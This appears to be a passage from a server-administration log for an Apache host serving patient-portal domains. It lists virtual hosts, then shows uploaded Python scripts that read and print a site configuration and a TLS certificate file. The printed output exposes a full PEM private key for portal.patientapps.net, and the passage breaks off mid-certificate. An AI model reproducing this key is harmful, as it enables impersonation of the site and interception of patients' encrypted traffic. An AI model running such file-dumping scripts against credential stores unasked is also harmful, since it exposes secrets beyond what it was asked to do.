         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-08 06:00:59: 

PUT: /tmp/pkp379137

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-08 06:00:59: 

chmod 755 /tmp/pkp379137; /tmp/pkp379137; rm /tmp/pkp379137

2025-09-08 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf	1664

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-08 06:00:59: 

PUT: /tmp/pkp960821

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-08 06:00:59: 

chmod 755 /tmp/pkp960821; /tmp/pkp960821; rm /tmp/pkp960821

2025-09-08 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt	5397
6c:66:1f:b9:d2:f5:04:1c:34:54:fc:a5:d8:7a:e5:f1

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBvN2MGmu9U6Gzrg40MApIYr5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA4MDUwMjI3WhcNMjUxMjA3MDUwMjI2WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA7K+ewA1jBfEAUKrtaJ9SL8qyRwaffWrG02W4ht2K6tAKmcLLgftU
2M5J6ix6NOGVfFMFU3TVTfGbQEE5x62+DXJPInv8dFnJGwpOwqHy9Nsz4V4ez+rF
FDc/vfIiePu3YUrW4TZjFYnHJNALdEEjqwQ46x4tLuHwoSaXb2yzzCGlSqIc+CZ5
Os399QWJhAGCEsGcGIPMm5c79VyFdaluNQk5tgmpq+LC0IHk1Kb24bOts52vDF0q
MjKe+AGePI8GCLUM/JojbwJ1i6m/oOAFNaGT9hr1aHJjFK8OBvwTC1Xu4aYJSdJQ
ybpCMX/X0LCcSRmTaKqnrg95XxP3VSHeDwIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRVbS66t2W3x1k6qc9uWBq4VcYTEDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2ABoE/0nQVB1Ar/agw7/x
2MRnL07s7iNAaJhrF0Au3Il9AAABmSfpzCQAAAQDAEcwRQIhAKeeiBB+EQmKFMDi
Y6FWGngYSsI9A1BpINInBwM2IH06AiA+GSnPxwqVAB5PITJ1PQdGmey1S2Mmq/rx
NloIpgqkwwB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmSfp
zC8AAAQDAEYwRAIgcLJqtSY9tFjmzp4o6GJrTbUG3cWkhfaR7YJx/0gVMXICIEmO
O17TAiTMhsKvsWSAaItxtmAVoF1ntpmNXPlm6GyDMA0GCSqGSIb3DQEBCwUAA4IB
AQBecJjWqpMG7M91vgp2CyxIghU9bKEvfOZKT7wtF/BgKj2xi6j0SfA2IQhsPFA7
Iwh9WRS3NtVlWdGl3tGn15c4v6igVI13KQpsfU4Nla+/ElIZj6e1/PtPDWwmlgYN
IQrsiRaorlxRo9Iu38rCfxz75pidNegodAOCqv0UXQ/QXzxQC+AVZ6Ti2BpB4Hbn
a8CMkwMtdrpUydQATRU1MFCtSynIolA/ubdbymKISzulcDz4aSYVVJxdaDT6Bpcv
VcOqVM0YV9nt0J1+uNOOXIkfVKzrkxTkSDmarnsJKZQ/ohIw6JdZCiWCvm5Uz06V
forOehYKuHJ7OcxiFNDz32w0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDsr57ADWMF8QBQ
qu1on1IvyrJHBp99asbTZbiG3Yrq0AqZwsuB+1TYzknqLHo04ZV8UwVTdNVN8ZtA
QTnHrb4Nck8ie/x0WckbCk7CofL02zPhXh7P6sUUNz+98iJ4+7dhStbhNmMVicck
0At0QSOrBDjrHi0u4fChJpdvbLPMIaVKohz4Jnk6zf31BYmEAYISwZwYg8yblzv1
XIV1qW41CTm2Camr4sLQgeTUpvbhs62zna8MXSoyMp74AZ48jwYItQz8miNvAnWL
qb+g4AU1oZP2GvVocmMUrw4G/BMLVe7hpglJ0lDJukIxf9fQsJxJGZNoqqeuD3lf
E/dVId4PAgMBAAECggEBALOoMuYwwyN1ZfnVZNPva2EfiOdk3ZdDf5xjMAgfDh1i
wUkplXQapLLVE0IPdMvDF8cA9Z/9pRO++0twtz0cYpCuXecdGenvZTmDP3l5mIPI
B79fxB+qYuIPdfDmZMhUuUO+nRDiSZ/Fr0YALVGXSE29rL67byyRECgitPw9FNUy
lwETQoGnNbhOVtis+K7eZSGRogWwKvIj79rvkpg65e6NrqJ00qmRFmX+gbyE7z4U
pFc6ZE/TwtjfWposz9SVAd40OJ806HISfYwAct6yQzQnFhqHBp8+tzCmkAI/W1Te
6J3GX/zYqmUWMUxWfza03Vd3b9EZbEgQW0Lyb6i1OfECgYEA/Qz6e7tc/Y3U4XNp
cUFA2D20dwF7eh1+PqszOLdvZ0wrYVZpwsmfpFHNwLuUwF1hA0Hxe0tPJ7aSoh2h
y6rgxPm4Gp6gkVb9Gr4nCWP8msBCm2vJv424vVEutdoLF5b6fniyFKJK/kPhBHX4
D+Sn2r0GXT09k3p7zBIcKmJ4eysCgYEA73HQkx89Rkgjp1qyD9JoIRGLo6B245TR
hRJBr0MH10pBESfFa/tN+kf28xnz7Ip/toR+VPITlatr2YWkFLh/tcmTkfEN1oWu
LlZrKJwwZxSZ9wTfN6d2dQ21wgxRbFGMJRPE1r0eUwnqil285DWVHJdMx7CCXdXK
T9cKYAIq5q0CgYEA4+8E0N777AgNcOYcXD+CwUUTgP580oouZRSglr3kQw+BI7RK
n4Itoj1tL+XHH179O4nykjRLoGH7wrseOe45eDPXeWLZDxFj+uq9DuBZcKstVAHL
QBfQB/dQM82roBwGllTxU1S8aDuMPBBm2SoFaCpLyUCYbncte6v0Ytk/3PECgYAM
/B0VfWIzR4I3dyGk3gIrmOn7q54G5XEfSEgrmvT35dz1czSvkGdAJVrtAAFMWI5o
dXLsZFxPh4ZHu4mUXhT+5LmN9oaLlaBGfwU8pIuza1iWHruEJx6zZlTu+wAHYby5
3gKUqpjUY/tGGaM+tPErJcFSKu5G7GsWPVEgt71f2QKBgFYotPUc95ixSjCAmV6b
AUjyM1EpH2r+aVBcnkB50J21+rT67VNw4UZVQZ+iLD7HRy6DOd2+Pj/T44wqe7F7
gPnQObEws1VND8Jeu0gEcG2dVVbkIZFWUjqdE+bqDnPiK4xDoP51Cl4M/EbZiHcr
IO63NMeiYtbgbPihqsJp49oT
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
